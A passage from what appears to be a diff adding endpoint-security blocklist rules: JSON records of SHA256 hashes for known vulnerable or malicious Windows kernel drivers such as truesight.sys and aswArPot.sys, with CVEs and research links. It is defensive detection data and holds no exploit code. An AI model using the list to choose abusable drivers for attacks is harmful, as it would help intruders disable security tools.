+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5caebab0-c790-5fbe-9483-2548fc515dd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820789Z",
+  "creation_date": "2026-03-23T11:45:30.820791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66f851b309bada6d3e4b211baa23b534165b29ba16b5cbf5e8f44eaeb3ca86ea",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cb65f2e-4fdf-5479-8674-5f7df7267593",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147205Z",
+  "creation_date": "2026-03-23T11:45:32.147207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13c4583048ebee27a2983feab18e6e4fdcb676f2c4f9880e6433839cc2d520bb",
+  "comment": "Malicious Kernel Driver (aka ProjectConfiguration.sys) [https://securelist.com/honeymyte-kernel-mode-rootkit/118590/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cc0df16-ce2f-5bc7-bbc6-f0f0ba83ddd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836649Z",
+  "creation_date": "2026-03-23T11:45:30.836651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "019dea3bea77f17aca0748717180adfe91130448ee6c236f240931ba15d5fb12",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cc6c790-d9ee-5fac-bae6-b16857b07e79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615782Z",
+  "creation_date": "2026-03-23T11:45:29.615783Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "543ee203b355c4cbac74d9bac71fb73c0c5c5c3afe268e2ae8ae48d61d350709",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cc85cbf-8a2b-5927-a174-6f9ff12a85d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143899Z",
+  "creation_date": "2026-03-23T11:45:32.143901Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95fd266cc454177901cb58f4d30417c4a7caf29be62bb8649e5b8fca58823600",
+  "comment": "Vulnerable Kernel Driver (aka Afd.sys) [https://www.loldrivers.io/drivers/394f49b2-2d78-4d0d-b374-1399695455f3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cce8ff2-9a76-5237-9f8c-e8bab3d4c297",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969418Z",
+  "creation_date": "2026-03-23T11:45:29.969420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1faa125c9442b20c646411f629dd48afe2d962554c45fc4a8e2d45c1fc611b6c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cd2dccd-5bfe-5eac-aad2-6f8a37740b7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985375Z",
+  "creation_date": "2026-03-23T11:45:29.985377Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985383Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3cbb2b364a494f096e68dc48cca89799ed27e6b97b17633036e363a98fd4421",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cd8ab20-6ca6-51fd-a3b5-54df642d25e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829238Z",
+  "creation_date": "2026-03-23T11:45:31.829242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829251Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc2a0bc303d27dc1f4eb71d34a46bb14d59c8a80e32f0fc3f18988076a687e1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cdecaa5-515b-5e9b-9650-8424bef83efc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497924Z",
+  "creation_date": "2026-03-23T11:45:31.497927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497936Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecf3f16e261a9d9f949cd60e63f7a0855ca2c8e8dfc7edc494bf7e698ac26897",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cf16b3e-10ae-55fe-8971-6c9e90752897",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143095Z",
+  "creation_date": "2026-03-23T11:45:31.143097Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "416c5a1c88330554302199a9a5b85033d1c7cb8dab4a35ea02fedd81b75c4d99",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cf177d4-6867-5729-a8f4-5e526a832526",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614666Z",
+  "creation_date": "2026-03-23T11:45:29.614668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614673Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85866e8c25d82c1ec91d7a8076c7d073cccf421cf57d9c83d80d63943a4edd94",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cf30658-3cef-542a-aada-cf1ffd3a84f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145464Z",
+  "creation_date": "2026-03-23T11:45:31.145466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93e078ab140c67bc765bbc63852f8a414780f42c895977be3711fafbc5a15756",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5cf76e46-a09b-5d7f-a24a-a28aaf77b000",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832479Z",
+  "creation_date": "2026-03-23T11:45:30.832481Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832486Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7148dd4601f683b6038c8aadce698a0c74be1f3940f25dcc44564952e3bd7777",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d09221f-bdbf-5d62-bdb5-5cd28922a4e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622985Z",
+  "creation_date": "2026-03-23T11:45:29.622990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40e624bf557b51775af1ca17062c4eca3693322e250b257aec7dc579e626ef07",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d200e5b-516e-597a-a553-25f8d04aefdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494780Z",
+  "creation_date": "2026-03-23T11:45:31.494782Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494791Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2efc60be1e2ca1389bc275c7946ca8a88105d5df61fd909508f2798d9cd841f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d219bb3-599d-5ac4-82ea-78e60c0e8c2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827803Z",
+  "creation_date": "2026-03-23T11:45:30.827805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdc8c2ca2b138742d4b441e7b3cd3566421d40e45afc6b62a293472926dd912d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d28294e-e7b7-5c0f-832c-efd6b207759c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833399Z",
+  "creation_date": "2026-03-23T11:45:30.833402Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "713b36a556eff48930301a0087a3bbefa4a1957aeefa560a5875ccab9c7cca45",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d2bdf92-107c-5026-8822-ec0b1a6ee6af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155429Z",
+  "creation_date": "2026-03-23T11:45:31.155432Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba39b795cc2ecddccb80947c978e53fd660099e152c5828ff608bbae6407b0c8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d2cdf74-57c7-578f-afff-6ad5c50ee4cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140247Z",
+  "creation_date": "2026-03-23T11:45:31.140249Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140255Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2859055855875731449de25b3a0eacda6cfd37520cbb41909db619108d1ab7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d3c7e3d-f301-5763-bcd4-ad341a6f8519",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146546Z",
+  "creation_date": "2026-03-23T11:45:32.146548Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e82d60575309a6bf6145e7d509dac0b2e815a734a492055bf591c8a7ab55865",
+  "comment": "Malicious Kernel Driver (aka driver_ab811ca5.sys) [https://www.loldrivers.io/drivers/09d2e61d-e041-4ec8-ab7b-385848456a36/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d3d4a70-31c5-5aea-beab-5e4669bba483",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823481Z",
+  "creation_date": "2026-03-23T11:45:30.823485Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c22afc69a39092ca8f8efd1b1cad613606339df1c121fcf390f9fc4449c267a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5d7748ef-25d4-5787-b0d6-fa4cd43dd5ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145836Z",
+  "creation_date": "2026-03-23T11:45:31.145839Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145856Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb10b1366d191682fad1ad6d163c47c979c0db00e403c8e44952ab53273cab71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
